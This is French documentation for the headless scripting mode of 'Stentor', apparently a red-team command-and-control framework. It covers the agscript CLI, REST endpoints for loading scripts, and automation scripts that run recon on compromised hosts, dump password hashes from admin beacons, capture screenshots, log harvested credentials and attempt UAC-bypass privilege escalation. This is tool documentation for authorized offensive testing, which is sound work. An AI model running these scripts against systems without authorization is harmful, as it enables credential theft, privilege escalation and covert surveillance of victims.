Mode sans tête¶
Le mode sans tête permet d'exécuter le moteur de script CNA de Stentor sans l'interface graphique. Ceci est essentiel pour les engagements automatisés, les pipelines CI/CD, les opérations planifiées et le traitement par lots des tâches de beacon.
Stentor prend en charge deux approches de fonctionnement sans tête : la agscript CLI pour l'accès direct à la console et l'REST API pour la gestion des scripts à distance.
CLI agscript¶
La commande agscript se connecte au serveur d'équipe Stentor et ouvre une console de script ou exécute immédiatement un script CNA.
Utilisation de base¶
# Connect to team server and open interactive script console
agscript <host> <port> <user> <password>
# Connect and immediately execute a script
agscript <host> <port> <user> <password> /path/to/script.cna
Exemples¶
# Interactive console on the local server
agscript 127.0.0.1 8082 [email protected] mypassword
# Run an automation script against the production server
agscript stentor.app 443 [email protected] mypassword /opt/scripts/auto-recon.cna
# Run multiple scripts by chaining agscript invocations
agscript stentor.app 443 [email protected] mypassword /opt/scripts/setup.cna
agscript stentor.app 443 [email protected] mypassword /opt/scripts/engage.cna
Transport WebSocket de Stentor
Dans Stentor, la connexion au serveur d'équipe est gérée via WebSocket vers l'API backend. L'équivalent agscript se connecte via wss://stentor.app/ws/cockpit et s'authentifie avec les jetons JWT obtenus à partir du point de terminaison de connexion.
Commandes de la console interactive¶
Une fois connectée, la console de script fournit ces commandes intégrées :
| Commande | Syntaxe | Description |
|---|---|---|
help | help | Répertorier les commandes de console disponibles |
load | load /path/to/script.cna | Charger et exécuter un script CNA |
unload | unload /path/to/script.cna | Décharger un script et supprimer ses inscriptions |
reload | reload /path/to/script.cna | Décharger, réanalyser et réexécuter un script |
ls | ls | Répertorier tous les scripts chargés avec leur statut |
x | x 2+2 | Évaluer une expression et imprimer le résultat |
e | e println("hello") | Exécuter une instruction et capturer le résultat |
? | ? "foo" iswm "f*" | Évaluer un prédicat (renvoie vrai/faux) |
# Example interactive session
> x beacon_ids()
@("a1b2c3d4", "e5f6g7h8")
> e foreach $bid (beacon_ids()) { println(binfo($bid, "user")); }
WORKSTATION\admin
SERVER01\svc_backup
> ? -isadmin "a1b2c3d4"
true
> load /opt/scripts/auto-recon.cna
[+] Loaded: auto-recon.cna
> ls
[*] auto-recon.cna (loaded at 2026-02-19 13:00:00)
Gestion des scripts via API¶
Stentor expose les points de terminaison REST pour gérer les scripts CNA par programmation. Cela permet l'intégration avec des outils externes, des systèmes CI/CD et des tableaux de bord personnalisés.
Charger un script¶
Chargez et exécutez un script CNA à partir d'un chemin de fichier sur le serveur.
curl -s -X POST https://stentor.app/api/v1/scripts/load \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path": "/opt/scripts/auto-recon.cna"}'
Réponse :
Décharger un script¶
Supprimez un script et toutes ses inscriptions (alias, événements, hooks) du moteur.
curl -s -X POST https://stentor.app/api/v1/scripts/unload \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "/opt/scripts/auto-recon.cna"}'
Liste des scripts chargés¶
Réponse :
[
{
"path": "/opt/scripts/auto-recon.cna",
"name": "auto-recon.cna",
"loaded_at": "2026-02-19T13:00:00Z",
"status": "loaded"
},
{
"path": "/opt/scripts/cred-alert.cna",
"name": "cred-alert.cna",
"loaded_at": "2026-02-19T13:01:00Z",
"status": "loaded"
}
]
Évaluer une expression¶
Exécutez une expression Sleep et renvoyez le résultat. Utile pour interroger l’état du beacon ou tester des scripts.
curl -s -X POST https://stentor.app/api/v1/scripts/eval \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"expression": "println(\"Active beacons: \" . size(beacon_ids()));"}'
Réponse :
Modèles d'automatisation¶
Les exemples suivants illustrent les flux de travail d'automatisation sans tête courants. Chaque script est conçu pour être chargé une seule fois et exécuté en continu, réagissant aux événements au fur et à mesure qu'ils se produisent.
Bot de reconnaissance automatique¶
Exécutez automatiquement des commandes de reconnaissance sur chaque nouvelle beacon. Il s'agit du modèle sans interface graphique le plus courant : il garantit une collecte initiale cohérente des données sur tous les hôtes compromis.
# auto-recon.cna -- Automatically run recon on new beacons
on beacon_initial {
local('$bid $user $computer');
$bid = $1;
# Wait for beacon to settle
bsleep($bid, 5, 0);
# Run initial reconnaissance
bps($bid);
bnet($bid, "view");
bipconfig($bid);
bwhoami($bid);
bpwd($bid);
$user = binfo($bid, "user");
$computer = binfo($bid, "computer");
blog($bid, "Auto-recon queued for $user on $computer");
}
Temps de stabilisation du beacon
Utilisez bsleep($bid, 5, 0) avant de mettre en file d'attente plusieurs tâches. Cela donne au beacon le temps d'établir sa connexion et réduit le risque de problèmes d'ordre des tâches lors du premier cycle d'enregistrement.
Bot de capture d'écran programmé¶
Capturez des captures d'écran de toutes les beacons actifs à intervalles réguliers pour avoir une connaissance de la situation lors d'un engagement.
# screenshot-bot.cna -- Take screenshots every 5 minutes
on heartbeat_5m {
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
bscreenshot($bid);
}
}
}
# Log when the bot starts
on ready {
elog("[screenshot-bot] Active -- capturing every 5 minutes");
}
Pipeline d’alertes d’informations d’identification¶
Surveillez les informations d’identification nouvellement collectées et enregistrez-les pour créer des rapports. Ce script crée une piste d'audit de toutes les informations d'identification découvertes au cours de la mission.
# cred-alert.cna -- Alert on new credentials
on credential_add {
local('$type $user $pass $source $host');
$type = $1;
$user = $2;
$pass = $3;
$source = $4;
$host = $5;
# Log to event log for all operators to see
elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");
# Count total credentials
$total = size(credentials());
elog("[CREDENTIAL] Total credentials in store: $total");
}
Auto-Hashdump sur un beacon élevée¶
Videz automatiquement les hachages lorsqu'un beacon s'enregistre avec des privilèges administratifs. Combine la gestion des événements avec la vérification des privilèges pour l'automatisation conditionnelle.
# auto-hashdump.cna -- Dump hashes from admin beacons
on beacon_initial {
local('$bid');
$bid = $1;
if (-isadmin $bid) {
# This beacon has admin privileges -- grab credentials
bhashdump($bid);
blog($bid, "[auto] Admin beacon detected -- hashdump queued");
# Also grab screenshots from privileged sessions
bscreenshot($bid);
}
}
Automatisation complète de l'engagement¶
Un script d'automatisation complet qui met en œuvre un flux de travail d'engagement en plusieurs phases : reconnaissance, collecte d'informations d'identification et collecte périodique de données.
# engagement.cna -- Full automated engagement workflow
# Phase 1: Initial recon on every new beacon
on beacon_initial {
local('$bid $user $computer');
$bid = $1;
$user = binfo($bid, "user");
$computer = binfo($bid, "computer");
elog("[ENGAGE] New beacon: $user @ $computer");
# Basic recon
bsleep($bid, 10, 20);
bps($bid);
bnet($bid, "view");
bportscan($bid, "10.10.10.0/24", "1-1024", "arp");
# Phase 2: Credential access (if admin)
if (-isadmin $bid) {
bhashdump($bid);
bscreenshot($bid);
elog("[ENGAGE] Admin beacon -- credentials queued");
}
}
# Phase 3: Periodic data collection
on heartbeat_10m {
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
bps($bid);
}
}
}
# Phase 4: Screenshot collection from admin beacons
on heartbeat_30m {
foreach $bid (beacon_ids()) {
if (-isactive $bid && -isadmin $bid) {
bscreenshot($bid);
}
}
}
# Alert on credential discovery
on credential_add {
elog("[ENGAGE] Credential found: $1 $2 from $4 on $5");
}
# Log engagement status on startup
on ready {
elog("[ENGAGE] Engagement automation loaded and active");
}
Flux de travail scriptés¶
Au-delà des simples gestionnaires d'événements, le mode sans tête prend en charge les workflows complexes d'orchestration multi-beacons.
Orchestration multi-beacons¶
Parcourez toutes les beacons et coordonnez les tâches sur plusieurs hôtes.
# orchestrate.cna -- Coordinate across all beacons
sub task_all_beacons {
local('$cmd');
$cmd = $1;
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
binput($bid, $cmd);
}
}
}
# Example: run net view on all beacons every hour
on heartbeat_60m {
task_all_beacons("net view");
}
Chaîne d'escalade conditionnelle¶
Implémentez un arbre de décision qui réagit aux changements d’état des beacons.
# escalate.cna -- Conditional privilege escalation
on beacon_initial {
local('$bid');
$bid = $1;
if (!-isadmin $bid) {
# Not admin -- attempt escalation
blog($bid, "[escalate] Medium integrity -- attempting elevation");
belevate($bid, "uac-token-duplication");
} else {
# Already admin -- proceed with post-ex
blog($bid, "[escalate] Already elevated -- proceeding to post-ex");
bhashdump($bid);
}
}
Opérations chronométrées avec événements Heartbeat¶
Planifiez les opérations à des intervalles spécifiques pour un contrôle furtif et opérationnel du tempo.
# timed-ops.cna -- Scheduled operations
# Quick health check every minute
on heartbeat_1m {
local('$active $total');
$total = size(beacon_ids());
$active = 0;
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
$active++;
}
}
if ($active != $total) {
elog("[HEALTH] $active / $total beacons active");
}
}
# Network scan every 30 minutes (low and slow)
on heartbeat_30m {
foreach $bid (beacon_ids()) {
if (-isactive $bid && -isadmin $bid) {
bnet($bid, "view");
}
}
}
Débogage des scripts sans tête¶
Commandes de débogage de la console de script¶
La console de script fournit des commandes de débogage intégrées pour dépanner les scripts CNA.
| Commande | Description |
|---|---|
tron | Activer le mode trace -- imprime chaque appel de fonction et argument |
troff | Désactiver le mode trace |
pron | Activer le mode profil -- imprime le timing d'exécution pour chaque fonction |
proff | Désactiver le mode profil |
# Enable tracing to see what your script is doing
> tron
[TRACE] on beacon_initial called with: a1b2c3d4
[TRACE] bsleep(a1b2c3d4, 5, 0) => $null
[TRACE] bps(a1b2c3d4) => $null
...
> troff
Journalisation des événements¶
Utilisez elog() pour écrire dans le journal des événements du serveur d'équipe. Il s'agit du principal outil de débogage et d'audit pour les scripts sans tête.
# Debug helper: log with script name prefix
sub debug {
elog("[my-script] $1");
}
on beacon_initial {
debug("beacon_initial fired for $1");
# ... script logic ...
debug("beacon_initial handler complete");
}
Modèles de gestion des erreurs¶
Les scripts CNA doivent gérer les erreurs avec élégance, en particulier en mode sans tête où il n'y a pas d'interface utilisateur pour afficher les avertissements.
# Defensive scripting pattern
on beacon_initial {
local('$bid');
$bid = $1;
# Check beacon is valid before tasking
if ($bid eq "" || $bid eq $null) {
elog("[ERROR] beacon_initial fired with empty ID");
return;
}
# Check beacon is still active before heavy tasking
if (!-isactive $bid) {
elog("[WARN] Beacon $bid not active, skipping recon");
return;
}
# Safe to proceed
bps($bid);
}
Limites du bac à sable¶
Soyez conscient des limites de sécurité du moteur de script :
| Limite | Valeur | Description |
|---|---|---|
| Délai d'expiration du gestionnaire | 30 secondes | Les gestionnaires d'événements sont terminés après 30 secondes |
| Délai d'évaluation | 30 secondes | Délai d'exécution du script (configurable) |
| Gestionnaires simultanés | Illimité | Chaque gestionnaire s'exécute dans sa propre goroutine |
| Réentrée | Bloqué par crochet | L'invocateur de hook empêche les appels récursifs au même hook |
Comportement de délai d'attente
Si un gestionnaire d'événements dépasse 30 secondes, il est terminé. Les opérations de longue durée doivent être divisées en étapes plus petites, en utilisant bsleep pour rythmer les interactions des beacons ou les événements de battement de cœur afin de planifier le travail de suivi.
Scripts à chargement automatique¶
Stentor prend en charge le chargement automatique de scripts à partir d'un répertoire désigné. Placez les fichiers .cna dans le répertoire des scripts et le serveur les chargera au démarrage et surveillera les modifications.
Surveillance d'annuaire¶
Le moteur de script interroge le répertoire des scripts toutes les 2 secondes pour :
- Nouveaux fichiers : chargés et exécutés automatiquement
- Fichiers modifiés : rechargés automatiquement (déchargement + réanalyse + réexécution)
- Fichiers supprimés : automatiquement déchargés (tous les enregistrements supprimés)
# Place scripts in the watched directory
cp auto-recon.cna /opt/stentor/scripts/
# Script is automatically loaded within 2 seconds
# Edit a running script
vim /opt/stentor/scripts/auto-recon.cna
# Script is automatically reloaded after saving
# Remove a script
rm /opt/stentor/scripts/auto-recon.cna
# Script and all its registrations are removed
Comportement de rechargement
Lorsqu'un script est rechargé, le moteur exécute une séquence propre en 3 étapes : (1) décharger toutes les inscriptions de l'ancienne version, (2) réanalyser le fichier, (3) réexécuter pour déclencher de nouvelles inscriptions. Cela garantit qu’il ne reste aucun gestionnaire obsolète.
Meilleures pratiques¶
Bonnes pratiques du mode sans tête
Gardez les gestionnaires d'événements rapides. Les gestionnaires d'événements doivent se terminer rapidement (moins d'une seconde) pour éviter de bloquer l'EventBus. Pour les opérations lourdes, mettez les tâches de beacon en file d’attente et laissez-les s’exécuter de manière asynchrone.
Utilisez bsleep avant d'effectuer des tâches lourdes. Lorsqu'une nouvelle beacon s'enregistre, laissez-lui le temps de s'installer avant de mettre plusieurs commandes en file d'attente :
Vérifiez l'état du beacon avant d'effectuer une tâche. Vérifiez toujours qu'un beacon est active et dispose des privilèges appropriés :
Utilisez elog() pour la piste d'audit. Chaque action importante doit être enregistrée pour les rapports post-engagement :
Testez d'abord les scripts dans la console. Utilisez la console de script interactive pour tester les expressions et les gestionnaires avant de déployer le mode sans interface :
Utilisez les événements de battement de cœur pour le travail planifié. Au lieu d'implémenter vos propres minuteries, utilisez les 12 intervalles de battement de cœur intégrés :
Un script par préoccupation. Gardez les scripts concentrés : un pour la reconnaissance, un pour les alertes d'informations d'identification, un pour les captures d'écran. Cela facilite le chargement/déchargement de fonctionnalités spécifiques.
Gérez l'événement ready. Initialisez l'état du script et enregistrez les messages de démarrage dans le gestionnaire ready pour confirmer que vos scripts sans tête sont actifs :
Voir aussi¶
- Hooks & Events -- Référence complète pour tous les hooks et événements utilisés dans les scripts d'automatisation
- Référence de la fonction -- Toutes les fonctions
b*disponibles pour l'interaction avec le beacon